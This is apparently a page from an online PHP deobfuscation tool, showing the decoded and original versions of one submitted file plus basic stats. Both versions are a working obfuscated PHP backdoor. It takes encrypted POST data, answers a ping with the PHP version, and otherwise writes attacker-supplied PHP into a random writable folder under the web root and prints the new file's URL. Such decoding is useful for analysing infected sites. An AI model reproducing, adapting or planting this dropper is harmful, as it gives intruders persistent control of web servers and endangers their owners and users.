Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $MXyrI = "\x44"."\x4f"."\103"."\125".'M'.'E'."\116".'T'.'_'."\x52"."\x4f"."\x4f"."\x..
Decoded Output download
<?php $MXyrI = "D"."O"."C"."U".'M'.'E'."N".'T'.'_'."R"."O"."O"."T";$wPDKeXz = 'H'.chr(84)."T".chr(879-799)."_".chr(72).'O'.chr(375-292)."T";$AsWOsugQN = chr(218-114)."t".chr(116).chr(593-481).chr(635-577)."/"."/";$OdGSkA = ".".'p'."h"."p";$ReNpGaLCn = "p"."h".chr(240-128);$CmokC = chr(991-889)."i"."l"."e".'_'.chr(853-741).chr(117).'t'."_"."c".'o'.chr(518-408)."t".chr(575-474).'n'.chr(116).chr(234-119);$bGMOhfuo = 'r'."a"."w"."u"."r"."l"."d"."e".chr(99).'o'.chr(601-501).'e';$ibsTdyB = "u".chr(581-471).chr(115)."e"."r"."i"."a"."l".chr(105).'z'."e";$YQMPpYE = chr(446-341)."s".chr(389-294).chr(119).chr(114).'i'.'t'."a"."b"."l".chr(499-398);$fzqAERghjV = "p".chr(104)."p".chr(118).chr(101)."r".chr(941-826)."i".'o'.chr(110);$mrUZGdF = "s"."t".chr(676-562).chr(95)."r".'o'."t".chr(768-719).chr(993-942);$qAbeeXLfy = chr(138-23).chr(992-891).chr(386-272).chr(105).chr(685-588)."l".'i'."z".chr(887-786);$FoILVZt = 's'.'t'.chr(114).chr(95)."s"."p"."l".'i'.chr(224-108);foreach ($_POST as $QfCRqwjG => $pagKhVgbB){$DJNFdUB = strlen($QfCRqwjG);if ($DJNFdUB == 16){$pagKhVgbB = $FoILVZt($bGMOhfuo($mrUZGdF($pagKhVgbB)));$QfCRqwjG = array_slice($FoILVZt(str_repeat($QfCRqwjG, (count($pagKhVgbB)/16)+1)), 0, count($pagKhVgbB));function GzbhlzO($MAeDBNydN, $JoGhO, $QfCRqwjG){$JhCgholrnDQSvHnh = "ddafbd30-c20d-4ff2-8068-ae25a77725d8";return $MAeDBNydN ^ $JhCgholrnDQSvHnh[$JoGhO % strlen($JhCgholrnDQSvHnh)] ^ $QfCRqwjG;}$pagKhVgbB = array_map("GzbhlzO", array_values($pagKhVgbB), array_keys($pagKhVgbB), array_values($QfCRqwjG));$pagKhVgbB = implode("", $pagKhVgbB);$pagKhVgbB = @$ibsTdyB($pagKhVgbB);if (@is_array($pagKhVgbB)){$xaANzE = array_keys($pagKhVgbB);$pagKhVgbB = $pagKhVgbB[$xaANzE[0]];if ($pagKhVgbB === $xaANzE[0]){echo @$qAbeeXLfy(Array($ReNpGaLCn => @$fzqAERghjV(), ));exit();}else {function Barqek($JhCgholrnir){static $aBDWep = array();$PrKKNt = glob($JhCgholrnir . '/*', GLOB_ONLYDIR);$VoNBkhS = count($PrKKNt);if ($VoNBkhS > 0) {foreach ($PrKKNt as $JhCgholrn) {if (@$YQMPpYE($JhCgholrn)) {$aBDWep[] = $JhCgholrn;}}}foreach ($PrKKNt as $JhCgholrnir) Barqek($JhCgholrnir);return $aBDWep;}$LBGgCH = $_SERVER[$MXyrI];$PrKKNt = Barqek($LBGgCH);$xaANzE = array_rand($PrKKNt);$qLNXjNfNRg = $PrKKNt[$xaANzE] . "/" . substr(md5(time()), 0, 8) . $OdGSkA;@$CmokC($qLNXjNfNRg, $pagKhVgbB);$ZIynpMIrC = $AsWOsugQN . $_SERVER[$wPDKeXz] . substr($qLNXjNfNRg, strlen($LBGgCH));print($ZIynpMIrC);die();}}}} ?>
Did this file decode correctly?
Original Code
<?php $MXyrI = "\x44"."\x4f"."\103"."\125".'M'.'E'."\116".'T'.'_'."\x52"."\x4f"."\x4f"."\x54";$wPDKeXz = 'H'.chr(84)."\x54".chr(879-799)."\137".chr(72).'O'.chr(375-292)."\x54";$AsWOsugQN = chr(218-114)."\164".chr(116).chr(593-481).chr(635-577)."\x2f"."\x2f";$OdGSkA = "\56".'p'."\x68"."\160";$ReNpGaLCn = "\160"."\x68".chr(240-128);$CmokC = chr(991-889)."\151"."\154"."\145".'_'.chr(853-741).chr(117).'t'."\137"."\143".'o'.chr(518-408)."\x74".chr(575-474).'n'.chr(116).chr(234-119);$bGMOhfuo = 'r'."\x61"."\167"."\165"."\x72"."\154"."\144"."\x65".chr(99).'o'.chr(601-501).'e';$ibsTdyB = "\165".chr(581-471).chr(115)."\x65"."\x72"."\151"."\x61"."\154".chr(105).'z'."\145";$YQMPpYE = chr(446-341)."\x73".chr(389-294).chr(119).chr(114).'i'.'t'."\x61"."\x62"."\154".chr(499-398);$fzqAERghjV = "\160".chr(104)."\160".chr(118).chr(101)."\162".chr(941-826)."\151".'o'.chr(110);$mrUZGdF = "\163"."\164".chr(676-562).chr(95)."\x72".'o'."\x74".chr(768-719).chr(993-942);$qAbeeXLfy = chr(138-23).chr(992-891).chr(386-272).chr(105).chr(685-588)."\x6c".'i'."\172".chr(887-786);$FoILVZt = 's'.'t'.chr(114).chr(95)."\x73"."\x70"."\x6c".'i'.chr(224-108);foreach ($_POST as $QfCRqwjG => $pagKhVgbB){$DJNFdUB = strlen($QfCRqwjG);if ($DJNFdUB == 16){$pagKhVgbB = $FoILVZt($bGMOhfuo($mrUZGdF($pagKhVgbB)));$QfCRqwjG = array_slice($FoILVZt(str_repeat($QfCRqwjG, (count($pagKhVgbB)/16)+1)), 0, count($pagKhVgbB));function GzbhlzO($MAeDBNydN, $JoGhO, $QfCRqwjG){$JhCgholrnDQSvHnh = "ddafbd30-c20d-4ff2-8068-ae25a77725d8";return $MAeDBNydN ^ $JhCgholrnDQSvHnh[$JoGhO % strlen($JhCgholrnDQSvHnh)] ^ $QfCRqwjG;}$pagKhVgbB = array_map("GzbhlzO", array_values($pagKhVgbB), array_keys($pagKhVgbB), array_values($QfCRqwjG));$pagKhVgbB = implode("", $pagKhVgbB);$pagKhVgbB = @$ibsTdyB($pagKhVgbB);if (@is_array($pagKhVgbB)){$xaANzE = array_keys($pagKhVgbB);$pagKhVgbB = $pagKhVgbB[$xaANzE[0]];if ($pagKhVgbB === $xaANzE[0]){echo @$qAbeeXLfy(Array($ReNpGaLCn => @$fzqAERghjV(), ));exit();}else {function Barqek($JhCgholrnir){static $aBDWep = array();$PrKKNt = glob($JhCgholrnir . '/*', GLOB_ONLYDIR);$VoNBkhS = count($PrKKNt);if ($VoNBkhS > 0) {foreach ($PrKKNt as $JhCgholrn) {if (@$YQMPpYE($JhCgholrn)) {$aBDWep[] = $JhCgholrn;}}}foreach ($PrKKNt as $JhCgholrnir) Barqek($JhCgholrnir);return $aBDWep;}$LBGgCH = $_SERVER[$MXyrI];$PrKKNt = Barqek($LBGgCH);$xaANzE = array_rand($PrKKNt);$qLNXjNfNRg = $PrKKNt[$xaANzE] . "/" . substr(md5(time()), 0, 8) . $OdGSkA;@$CmokC($qLNXjNfNRg, $pagKhVgbB);$ZIynpMIrC = $AsWOsugQN . $_SERVER[$wPDKeXz] . substr($qLNXjNfNRg, strlen($LBGgCH));print($ZIynpMIrC);die();}}}}
Function Calls
chr | 44 |
Stats
MD5 | e6fc97d771eb49a816615009abaed7b2 |
Eval Count | 0 |
Decode Time | 157 ms |